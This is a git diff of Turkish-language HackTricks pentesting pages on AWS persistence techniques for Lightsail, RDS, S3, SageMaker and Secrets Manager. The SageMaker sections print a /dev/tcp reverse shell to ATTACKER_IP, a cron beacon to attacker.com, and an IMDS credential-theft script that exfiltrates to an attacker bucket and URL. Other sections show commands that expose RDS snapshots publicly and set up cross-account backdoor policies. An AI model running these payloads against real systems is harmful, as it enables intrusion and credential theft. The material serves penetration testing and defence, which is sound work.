a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md deleted file mode 100644 index fe87ed88e..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md +++ /dev/null @@ -1,33 +0,0 @@ -# AWS - Lightsail Sürekliliği - -{{#include ../../../banners/hacktricks-training.md}} - -## Lightsail - -Daha fazla bilgi için kontrol edin: - -{{#ref}} -../aws-services/aws-lightsail-enum.md -{{#endref}} - -### Instance SSH anahtarlarını ve DB şifrelerini indirin - -Muhtemelen değişmeyecekler, bu yüzden onları bulundurmak süreklilik için iyi bir seçenek. - -### Arka Kapı Instance'ları - -Bir saldırgan instance'lara erişim sağlayabilir ve onlara arka kapı ekleyebilir: - -- Örneğin geleneksel bir **rootkit** kullanarak -- Yeni bir **genel SSH anahtarı** ekleyerek -- Arka kapı ile port knocking kullanarak bir port açarak - -### DNS sürekliliği - -Eğer alan adları yapılandırılmışsa: - -- IP'nizi işaret eden bir alt alan adı oluşturun, böylece bir **alt alan adı ele geçirme** gerçekleştirmiş olursunuz. -- Alan adından **e-posta** göndermenizi sağlayan bir **SPF** kaydı oluşturun. -- **Ana alan IP'sini kendi IP'nizle** yapılandırın ve kendi IP'nizden meşru olanlara karşı bir **MitM** gerçekleştirin. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md new file mode 100644 index 000000000..5d587c6d4 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md @@ -0,0 +1,33 @@ +# AWS - Lightsail Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## Lightsail + +For more information check: + +{{#ref}} +../../aws-services/aws-lightsail-enum.md +{{#endref}} + +### Download Instance SSH keys & DB passwords + +Muhtemelen değiştirilmezler, bu yüzden bunlara sahip olmak persistence için iyi bir seçenek. + +### Backdoor Instances + +Bir attacker, instances erişimi elde edip bunları backdoor'layabilir: + +- Örneğin geleneksel bir **rootkit** kullanarak +- Yeni bir **public SSH key** eklemek +- Bir portu port knocking ve backdoor kullanarak açığa çıkarma + +### DNS persistence + +Alan adları yapılandırıldıysa: + +- IP'nizi işaret eden bir subdomain oluşturun; böylece bir **subdomain takeover** elde edersiniz +- Alan adından **emails** göndermenize izin veren bir **SPF** kaydı oluşturun +- **Ana domain IP'sini kendi IP'niz olarak yapılandırın** ve IP'niz üzerinden meşru hedeflere karşı bir **MitM** gerçekleştirin + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md deleted file mode 100644 index 5140f6e27..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md +++ /dev/null @@ -1,27 +0,0 @@ -# AWS - RDS Sürekliliği - -{{#include ../../../banners/hacktricks-training.md}} - -## RDS - -Daha fazla bilgi için kontrol edin: - -{{#ref}} -../aws-services/aws-relational-database-rds-enum.md -{{#endref}} - -### Örneği herkese açık erişilebilir hale getirin: `rds:ModifyDBInstance` - -Bu izne sahip bir saldırgan, **mevcut bir RDS örneğini herkese açık erişilebilir hale getirmek için değiştirebilir**. -```bash -aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately -``` -### Veritabanında bir yönetici kullanıcısı oluşturun - -Bir saldırgan, **veritabanında bir kullanıcı oluşturabilir**, böylece ana kullanıcı şifresi değiştirilse bile **veritabanına erişimini kaybetmez**. - -### Anlık görüntüyü herkese açık hale getirin -```bash -aws rds modify-db-snapshot-attribute --db-snapshot-identifier --attribute-name restore --values-to-add all -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md new file mode 100644 index 000000000..aa70bfa90 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md @@ -0,0 +1,27 @@ +# AWS - RDS Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## RDS + +Daha fazla bilgi için bakınız: + +{{#ref}} +../../aws-services/aws-relational-database-rds-enum.md +{{#endref}} + +### Örneği genel erişime açma: `rds:ModifyDBInstance` + +Bu izne sahip bir saldırgan **mevcut bir RDS örneğini genel erişime açmak için değiştirebilir**. +```bash +aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately +``` +### DB içinde bir admin kullanıcı oluştur + +Bir saldırgan sadece **DB içinde bir kullanıcı oluşturabilir**; böylece master kullanıcı parolası değişse bile veritabanına erişimi **kaybetmez**. + +### Snapshot'ı herkese açık yap +```bash +aws rds modify-db-snapshot-attribute --db-snapshot-identifier --attribute-name restore --values-to-add all +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md deleted file mode 100644 index 1c3d303c2..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md +++ /dev/null @@ -1,25 +0,0 @@ -# AWS - S3 Sürekliliği - -{{#include ../../../banners/hacktricks-training.md}} - -## S3 - -Daha fazla bilgi için kontrol edin: - -{{#ref}} -../aws-services/aws-s3-athena-and-glacier-enum.md -{{#endref}} - -### KMS İstemci Tarafı Şifreleme - -Şifreleme işlemi tamamlandığında kullanıcı, yeni bir anahtar oluşturmak için KMS API'sini kullanacak (`aws kms generate-data-key`) ve **oluşturulan şifreli anahtarı dosyanın meta verileri içinde saklayacaktır** ([python kod örneği](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) böylece şifre çözme işlemi gerçekleştiğinde KMS'yi tekrar kullanarak şifreyi çözebilir: - -
- -Bu nedenle, bir saldırgan bu anahtarı meta verilerden alabilir ve KMS ile şifre çözme işlemi yaparak bilgileri şifrelemek için kullanılan anahtarı elde edebilir. Bu şekilde saldırgan şifreleme anahtarına sahip olacak ve eğer bu anahtar diğer dosyaları şifrelemek için yeniden kullanılırsa, onu kullanabilecektir. - -### S3 ACL'lerini Kullanma - -Genellikle bucket'ların ACL'leri devre dışı bırakılmış olsa da, yeterli ayrıcalıklara sahip bir saldırgan bunları kötüye kullanabilir (eğer etkinse veya saldırgan bunları etkinleştirebiliyorsa) S3 bucket'ına erişimi sürdürmek için. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md new file mode 100644 index 000000000..2e35e5503 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md @@ -0,0 +1,25 @@ +# AWS - S3 Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## S3 + +Daha fazla bilgi için bakınız: + +{{#ref}} +../../aws-services/aws-s3-athena-and-glacier-enum.md +{{#endref}} + +### KMS Client-Side Encryption + +Şifreleme işlemi tamamlandığında kullanıcı, yeni bir anahtar oluşturmak için KMS API'sini (`aws kms generate-data-key`) kullanır ve oluşturulan şifrelenmiş anahtarı dosyanın metadata'sı içinde **saklar** ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) böylece decrypt işlemi gerçekleştiğinde anahtar tekrar KMS ile decrypt edilebilir: + +
+ +Bu nedenle, attacker bu anahtarı metadata'dan elde edip KMS ile (`aws kms decrypt`) decrypt ederek bilgiyi şifrelemek için kullanılan anahtarı elde edebilir. Böylece attacker şifreleme anahtarına sahip olur ve bu anahtar diğer dosyaları şifrelemek için yeniden kullanıldıysa, aynı anahtarı kullanarak onları da çözebilir. + +### Using S3 ACLs + +Genellikle bucket'ların ACL'leri devre dışı bırakılmış olsa da, yeterli ayrıcalıklara sahip bir attacker, bunları kötüye kullanarak (etkinleştirildiyse veya attacker bunları etkinleştirebiliyorsa) S3 bucket'a erişimi koruyabilir. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md deleted file mode 100644 index 63c85840b..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md +++ /dev/null @@ -1,158 +0,0 @@ -# Aws Sagemaker Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## Persistence Tekniklerinin Genel Görünümü - -Bu bölüm, Lifecycle Configurations (LCC'ler) istismar edilerek SageMaker'da kalıcılık elde etme yöntemlerini, ters shell'ler, cron işleri, IMDS aracılığıyla kimlik bilgisi hırsızlığı ve SSH arka kapıları dahil olmak üzere özetlemektedir. Bu betikler, örneğin IAM rolü ile çalışır ve yeniden başlatmalar arasında kalıcı olabilir. Çoğu teknik, dışa dönük ağ erişimi gerektirir, ancak AWS kontrol düzlemindeki hizmetlerin kullanımı, ortam "VPC-sadece" modda olsa bile başarıyı sağlayabilir. -#### Not: SageMaker not defteri örnekleri, esasen makine öğrenimi iş yükleri için özel olarak yapılandırılmış yönetilen EC2 örnekleridir. - -## Gerekli İzinler -* Notebook Instances: -``` -sagemaker:CreateNotebookInstanceLifecycleConfig -sagemaker:UpdateNotebookInstanceLifecycleConfig -sagemaker:CreateNotebookInstance -sagemaker:UpdateNotebookInstance -``` -* Studio Uygulamaları: -``` -sagemaker:CreateStudioLifecycleConfig -sagemaker:UpdateStudioLifecycleConfig -sagemaker:UpdateUserProfile -sagemaker:UpdateSpace -sagemaker:UpdateDomain -``` -## Notebook Örneklerinde Yaşam Döngüsü Yapılandırmasını Ayarlama - -### Örnek AWS CLI Komutları: -```bash -# Create Lifecycle Configuration* - -aws sagemaker create-notebook-instance-lifecycle-config \ ---notebook-instance-lifecycle-config-name attacker-lcc \ ---on-start Content=$(base64 -w0 reverse_shell.sh) - - -# Attach Lifecycle Configuration to Notebook Instance* - -aws sagemaker update-notebook-instance \ ---notebook-instance-name victim-instance \ ---lifecycle-config-name attacker-lcc -``` -## SageMaker Studio'da Yaşam Döngüsü Yapılandırmasını Ayarlama - -Yaşam döngüsü yapılandırmaları, SageMaker Studio içinde çeşitli seviyelerde ve farklı uygulama türlerine eklenebilir. - -### Stüdyo Alanı Seviyesi (Tüm Kullanıcılar) -```bash -# Create Studio Lifecycle Configuration* - -aws sagemaker create-studio-lifecycle-config \ ---studio-lifecycle-config-name attacker-studio-lcc \ ---studio-lifecycle-config-app-type JupyterServer \ ---studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh) - - -# Apply LCC to entire Studio Domain* - -aws sagemaker update-domain --domain-id --default-user-settings '{ -"JupyterServerAppSettings": { -"DefaultResourceSpec": {"LifecycleConfigArn": ""} -} -}' -``` -### Stüdyo Alanı Seviyesi (Bireysel veya Paylaşılan Alanlar) -```bash -# Update SageMaker Studio Space to attach LCC* - -aws sagemaker update-space --domain-id --space-name --space-settings '{ -"JupyterServerAppSettings": { -"DefaultResourceSpec": {"LifecycleConfigArn": ""} -} -}' -``` -## Studio Uygulama Yaşam Döngüsü Yapılandırma Türleri - -Yaşam döngüsü yapılandırmaları, farklı SageMaker Studio uygulama türlerine özel olarak uygulanabilir: -* JupyterServer: Jupyter sunucusu başlangıcında betikleri çalıştırır, ters shell ve cron işleri gibi kalıcılık mekanizmaları için idealdir. -* KernelGateway: Kernel gateway uygulaması başlatıldığında çalışır, başlangıç ayarları veya kalıcı erişim için kullanışlıdır. -* CodeEditor: Kod Düzenleyici'ye (Code-OSS) uygulanır, kod düzenleme oturumlarının başlangıcında çalışan betikleri etkinleştirir. - -### Her Tür için Örnek Komut: - -### JupyterServer -```bash -aws sagemaker create-studio-lifecycle-config \ ---studio-lifecycle-config-name attacker-jupyter-lcc \ ---studio-lifecycle-config-app-type JupyterServer \ ---studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh) -``` -### KernelGateway -```bash -aws sagemaker create-studio-lifecycle-config \ ---studio-lifecycle-config-name attacker-kernelgateway-lcc \ ---studio-lifecycle-config-app-type KernelGateway \ ---studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh) -``` -### CodeEditor -```bash -aws sagemaker create-studio-lifecycle-config \ ---studio-lifecycle-config-name attacker-codeeditor-lcc \ ---studio-lifecycle-config-app-type CodeEditor \ ---studio-lifecycle-config-content $(base64 -w0 editor_persist.sh) -``` -### Kritik Bilgiler: -* Alan veya alan seviyesi LCC'lerin eklenmesi, kapsam içindeki tüm kullanıcıları veya uygulamaları etkiler. -* Genellikle alan seviyesinden daha uygulanabilir olan daha yüksek izinler gerektirir (sagemaker:UpdateDomain, sagemaker:UpdateSpace). -* Ağ seviyesi kontrolleri (örneğin, katı çıkış filtrelemesi) başarılı ters shell'leri veya veri sızdırmalarını engelleyebilir. - -## Yaşam Döngüsü Yapılandırması ile Ters Shell - -SageMaker Yaşam Döngüsü Yapılandırmaları (LCC'ler), not defteri örnekleri başladığında özel betikler çalıştırır. İzinlere sahip bir saldırgan, kalıcı bir ters shell kurabilir. - -### Payload Örneği: -``` -#!/bin/bash -ATTACKER_IP="" -ATTACKER_PORT="" -nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 & -``` -## Cron Job Persistence via Lifecycle Configuration - -Bir saldırgan, LCC scriptleri aracılığıyla cron işleri enjekte edebilir, kötü niyetli scriptlerin veya komutların periyodik olarak çalıştırılmasını sağlayarak gizli bir kalıcılık elde edebilir. - -### Payload Example: -``` -#!/bin/bash -PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py" -CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH" -CRON_JOB="*/30 * * * * $CRON_CMD" - -mkdir -p /home/ec2-user/SageMaker/.local_tasks -echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH -chmod +x $PAYLOAD_PATH - -(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user - -``` -## Kimlik Bilgilerinin IMDS (v1 & v2) Üzerinden Sızdırılması - -Yaşam döngüsü yapılandırmaları, IAM kimlik bilgilerini almak ve bunları saldırganın kontrolündeki bir konuma sızdırmak için Instance Metadata Service (IMDS) ile sorgu yapabilir. - -### Yük Örneği: -```bash -#!/bin/bash -ATTACKER_BUCKET="s3://attacker-controlled-bucket" -TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") -ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/) -curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json - -# Exfiltrate via S3* - -aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json - -# Alternatively, exfiltrate via HTTP POST* - -curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md new file mode 100644 index 000000000..f66ecd949 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md @@ -0,0 +1,230 @@ +# AWS - SageMaker Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## Kalıcılık Tekniklerine Genel Bakış + +Bu bölüm, Lifecycle Configurations (LCCs) kötüye kullanılarak SageMaker'da persistence elde etmeye yönelik yöntemleri özetler; reverse shells, cron jobs, credential theft via IMDS ve SSH backdoors dahil. Bu scriptler instance'ın IAM role ile çalışır ve yeniden başlatmalarda kalıcı olabilir. Çoğu teknik outbound ağ erişimi gerektirir, ancak ortam 'VPC-only' modunda olsa bile AWS control plane üzerindeki servislerin kullanımıyla başarı yine de mümkün olabilir. + +> [!TIP] +> Not: SageMaker notebook instances temelde makine öğrenimi iş yükleri için özel olarak yapılandırılmış yönetilen EC2 instance'larıdır. + +## Gerekli İzinler +* Notebook Instances: +``` +sagemaker:CreateNotebookInstanceLifecycleConfig +sagemaker:UpdateNotebookInstanceLifecycleConfig +sagemaker:CreateNotebookInstance +sagemaker:UpdateNotebookInstance +``` +* Studio Uygulamaları: +``` +sagemaker:CreateStudioLifecycleConfig +sagemaker:UpdateStudioLifecycleConfig +sagemaker:UpdateUserProfile +sagemaker:UpdateSpace +sagemaker:UpdateDomain +``` +## Notebook Instances üzerinde Lifecycle Configuration ayarlama + +### Örnek AWS CLI Komutları: +```bash +# Create Lifecycle Configuration* + +aws sagemaker create-notebook-instance-lifecycle-config \ +--notebook-instance-lifecycle-config-name attacker-lcc \ +--on-start Content=$(base64 -w0 reverse_shell.sh) + + +# Attach Lifecycle Configuration to Notebook Instance* + +aws sagemaker update-notebook-instance \ +--notebook-instance-name victim-instance \ +--lifecycle-config-name attacker-lcc +``` +## SageMaker Studio'da Lifecycle Configuration Ayarlama + +Lifecycle Configurations, SageMaker Studio içinde çeşitli seviyelere ve farklı uygulama türlerine eklenebilir. + +### Studio Domain Seviyesi (Tüm Kullanıcılar) +```bash +# Create Studio Lifecycle Configuration* + +aws sagemaker create-studio-lifecycle-config \ +--studio-lifecycle-config-name attacker-studio-lcc \ +--studio-lifecycle-config-app-type JupyterServer \ +--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh) + + +# Apply LCC to entire Studio Domain* + +aws sagemaker update-domain --domain-id --default-user-settings '{ +"JupyterServerAppSettings": { +"DefaultResourceSpec": {"LifecycleConfigArn": ""} +} +}' +``` +### Studio Space Seviyesi (Bireysel veya Paylaşılan Alanlar) +```bash +# Update SageMaker Studio Space to attach LCC* + +aws sagemaker update-space --domain-id --space-name --space-settings '{ +"JupyterServerAppSettings": { +"DefaultResourceSpec": {"LifecycleConfigArn": ""} +} +}' +``` +## Studio Uygulama Yaşam Döngüsü Yapılandırma Türleri + +Yaşam döngüsü yapılandırmaları, farklı SageMaker Studio uygulama türlerine özel olarak uygulanabilir: +* JupyterServer: Jupyter server başlatılırken scripts çalıştırır, reverse shells ve cron jobs gibi persistence mekanizmaları için idealdir. +* KernelGateway: kernel gateway uygulama başlatılırken çalışır, ilk kurulum veya persistent erişim için kullanışlıdır. +* CodeEditor: Code Editor (Code-OSS) için uygulanır, code editing sessions başlatıldığında çalışan scripts etkinleştirir. + +### Her Tür İçin Örnek Komut: + +### JupyterServer +```bash +aws sagemaker create-studio-lifecycle-config \ +--studio-lifecycle-config-name attacker-jupyter-lcc \ +--studio-lifecycle-config-app-type JupyterServer \ +--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh) +``` +### KernelGateway +```bash +aws sagemaker create-studio-lifecycle-config \ +--studio-lifecycle-config-name attacker-kernelgateway-lcc \ +--studio-lifecycle-config-app-type KernelGateway \ +--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh) +``` +### Kod Editörü +```bash +aws sagemaker create-studio-lifecycle-config \ +--studio-lifecycle-config-name attacker-codeeditor-lcc \ +--studio-lifecycle-config-app-type CodeEditor \ +--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh) +``` +### Kritik Bilgi: +* LCCs'i domain veya space düzeyinde eklemek, kapsam içindeki tüm kullanıcıları veya uygulamaları etkiler. +* Daha yüksek izinler gerektirir (sagemaker:UpdateDomain, sagemaker:UpdateSpace); genellikle space düzeyinde uygulanması domain düzeyine göre daha kolaydır. +* Ağ düzeyindeki kontroller (ör. sıkı egress filtering), başarılı reverse shell'leri veya data exfiltration'ı engelleyebilir. + +## Reverse Shell via Lifecycle Configuration + +SageMaker Lifecycle Configurations (LCCs), notebook instances başlarken özel script'ler çalıştırır. İzinlere sahip bir saldırgan kalıcı bir reverse shell kurabilir. + +### Payload Example: +``` +#!/bin/bash +ATTACKER_IP="" +ATTACKER_PORT="" +nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 & +``` +## Lifecycle Configuration aracılığıyla Cron Job kalıcılığı + +Bir saldırgan, LCC scripts aracılığıyla cron jobs enjekte ederek kötü amaçlı scriptlerin veya komutların periyodik olarak çalışmasını sağlayabilir ve böylece sinsi bir kalıcılık elde edebilir. + +### Payload Example: +``` +#!/bin/bash +PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py" +CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH" +CRON_JOB="*/30 * * * * $CRON_CMD" + +mkdir -p /home/ec2-user/SageMaker/.local_tasks +echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH +chmod +x $PAYLOAD_PATH + +(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user - +``` +## Credential Exfiltration via IMDS (v1 & v2) + +Lifecycle configurations, Instance Metadata Service (IMDS)'i sorgulayarak IAM credentials alabilir ve bunları saldırgan kontrollü bir konuma exfiltrate edebilir. + +### Payload Example: +```bash +#!/bin/bash +ATTACKER_BUCKET="s3://attacker-controlled-bucket" +TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") +ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/) +curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json + +# Exfiltrate via S3* + +aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json + +# Alternatively, exfiltrate via HTTP POST* + +curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload +``` +## Model Registry kaynak politikası yoluyla kalıcılık (PutModelPackageGroupPolicy) + +SageMaker Model Package Group üzerindeki kaynak tabanlı politikayı kötüye kullanarak harici bir principal'a cross-account hakları verin (ör. CreateModelPackage/Describe/List). Bu, saldırganın IAM user/role'u hedef hesapta kaldırılmış olsa bile zehirlenmiş model sürümlerini itmeye veya model metadata/artifaktlarını okumaya olanak tanıyan kalıcı bir arka kapı oluşturur. + +Gerekli izinler +- sagemaker:CreateModelPackageGroup +- sagemaker:PutModelPackageGroupPolicy +- sagemaker:GetModelPackageGroupPolicy + +Adımlar (us-east-1) +```bash +# 1) Create a Model Package Group +REGION=${REGION:-us-east-1} +MPG=atk-mpg-$(date +%s) +aws sagemaker create-model-package-group \ +--region "$REGION" \ +--model-package-group-name "$MPG" \ +--model-package-group-description "Test backdoor" + +# 2) Craft a cross-account resource policy (replace 111122223333 with attacker account) +cat > /tmp/mpg-policy.json <:model-package-group/${MPG}", +"arn:aws:sagemaker:${REGION}::model-package/${MPG}/*" +] +} +] +} +JSON + +# 3) Attach the policy to the group +aws sagemaker put-model-package-group-policy \ +--region "$REGION" \ +--model-package-group-name "$MPG" \ +--resource-policy "$(jq -c . /tmp/mpg-policy.json)" + +# 4) Retrieve the policy (evidence) +aws sagemaker get-model-package-group-policy \ +--region "$REGION" \ +--model-package-group-name "$MPG" \ +--query ResourcePolicy --output text +``` +Notes +- Gerçek bir cross-account backdoor için, Resource'ı belirli group ARN ile sınırlandırın ve Principal içinde attacker’ın AWS hesap ID'sini kullanın. +- Uçtan uca cross-account dağıtım veya artifact okuma durumlarında, S3/ECR/KMS izinlerini attacker account ile uyumlu hale getirin. + +Impact +- Bir Model Registry group üzerinde kalıcı cross-account kontrol: attacker, kötü amaçlı model sürümlerini yayınlayabilir veya model metadata'sını listeleyip/okuyabilir; bu, victim account'ta onların IAM varlıkları kaldırıldıktan sonra bile geçerlidir. + +## Canvas cross-account model registry backdoor (UpdateUserProfile.ModelRegisterSettings) + +SageMaker Canvas kullanıcı ayarlarını kötüye kullanarak model registry yazımlarını sessizce attacker-controlled account'a yönlendirin: ModelRegisterSettings'i etkinleştirip CrossAccountModelRegisterRoleArn'i başka bir hesaptaki attacker role'a işaret edecek şekilde ayarlayın. + +Required permissions +- sagemaker:UpdateUserProfile on the target UserProfile +- Optional: sagemaker:CreateUserProfile on a Domain you control + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md deleted file mode 100644 index d14c49b15..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md +++ /dev/null @@ -1,51 +0,0 @@ -# AWS - Secrets Manager Sürekliliği - -{{#include ../../../banners/hacktricks-training.md}} - -## Secrets Manager - -Daha fazla bilgi için kontrol edin: - -{{#ref}} -../aws-services/aws-secrets-manager-enum.md -{{#endref}} - -### Kaynak Politikaları Aracılığıyla - -Kaynak politikaları aracılığıyla **gizli bilgilere dış hesaplara erişim vermek** mümkündür. Daha fazla bilgi için [**Secrets Manager Privesc sayfasını**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) kontrol edin. **Bir gizli bilgiye erişmek** için, dış hesabın ayrıca **gizli bilgiyi şifreleyen KMS anahtarına erişimi olması gerektiğini** unutmayın. - -### Secrets Rotate Lambda Aracılığıyla - -Gizli bilgileri otomatik olarak **değiştirmek** için yapılandırılmış bir **Lambda** çağrılır. Eğer bir saldırgan **kodunu değiştirebilirse**, yeni gizli bilgiyi doğrudan **kendi hesabına sızdırabilir**. - -Bu tür bir eylem için lambda kodu şöyle görünebilir: -```python -import boto3 - -def rotate_secrets(event, context): -# Create a Secrets Manager client -client = boto3.client('secretsmanager') - -# Retrieve the current secret value -secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString'] - -# Rotate the secret by updating its value -new_secret_value = rotate_secret(secret_value) -client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value) - -def rotate_secret(secret_value): -# Perform the rotation logic here, e.g., generate a new password - -# Example: Generate a new password -new_secret_value = generate_password() - -return new_secret_value - -def generate_password(): -# Example: Generate a random password using the secrets module -import secrets -import string -password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16)) -return password -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md new file mode 100644 index 000000000..a5e8131d4 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md @@ -0,0 +1,234 @@ +# AWS - Secrets Manager Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## Secrets Manager + +Daha fazla bilgi için bakınız: + +{{#ref}} +../../aws-services/aws-secrets-manager-enum.md +{{#endref}} + +### Kaynak Politikaları Üzerinden + +Kaynak politikaları aracılığıyla **harici hesaplara secret'lere erişim vermek** mümkündür. Daha fazla bilgi için [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) sayfasına bakın. Bir **secret**'e **erişmek** için, harici hesabın ayrıca **secret'i şifreleyen KMS anahtarına erişimi** olması gerektiğini unutmayın. + +### Secrets Rotate Lambda Üzerinden + +Secret'leri otomatik olarak **rotate** etmek için yapılandırılmış bir **Lambda** çağrılır. Eğer bir saldırgan **kodu değiştirebilirse**, doğrudan kendisine **exfiltrate the new secret** yapabilir. + +Böyle bir eylem için lambda kodu şu şekilde görünebilir: +```python +import boto3 + +def rotate_secrets(event, context): +# Create a Secrets Manager client +client = boto3.client('secretsmanager') + +# Retrieve the current secret value +secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString'] + +# Rotate the secret by updating its value +new_secret_value = rotate_secret(secret_value) +client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value) + +def rotate_secret(secret_value): +# Perform the rotation logic here, e.g., generate a new password + +# Example: Generate a new password +new_secret_value = generate_password() + +return new_secret_value + +def generate_password(): +# Example: Generate a random password using the secrets module +import secrets +import string +password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16)) +return password +``` +{{#include ../../../../banners/hacktricks-training.md}} + + + + + +### RotateSecret ile rotation Lambda'sını saldırgan kontrollü bir fonksiyona değiştirin + +`secretsmanager:RotateSecret`'ı, bir secret'ı saldırgan kontrollü bir rotation Lambda'sına yeniden bağlamak ve hemen bir rotation tetiklemek için kötüye kullanın. Kötü amaçlı fonksiyon rotation adımları (createSecret/setSecret/testSecret/finishSecret) sırasında secret sürümlerini (AWSCURRENT/AWSPENDING) attacker sink'e (ör. S3 veya external HTTP) exfiltrates eder. + +- Gereksinimler +- İzinler: `secretsmanager:RotateSecret`, attacker Lambda üzerinde `lambda:InvokeFunction`, Lambda execution rolünü sağlamak için `iam:CreateRole/PassRole/PutRolePolicy` (veya AttachRolePolicy) ile `secretsmanager:GetSecretValue` ve tercihen `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (böylece rotation çalışmaya devam eder) izinleri, secret KMS anahtarı için KMS `kms:Decrypt`, ve exfiltration için `s3:PutObject` (veya outbound egress). +- Rotation etkin veya rotasyonu etkinleştirme yeteneğine sahip bir hedef secret id (`SecretId`). + +- Etki +- Attacker, meşru rotation kodunu değiştirmeden secret değeri(lerini) elde eder. Sadece rotation yapılandırması attacker Lambda'sını 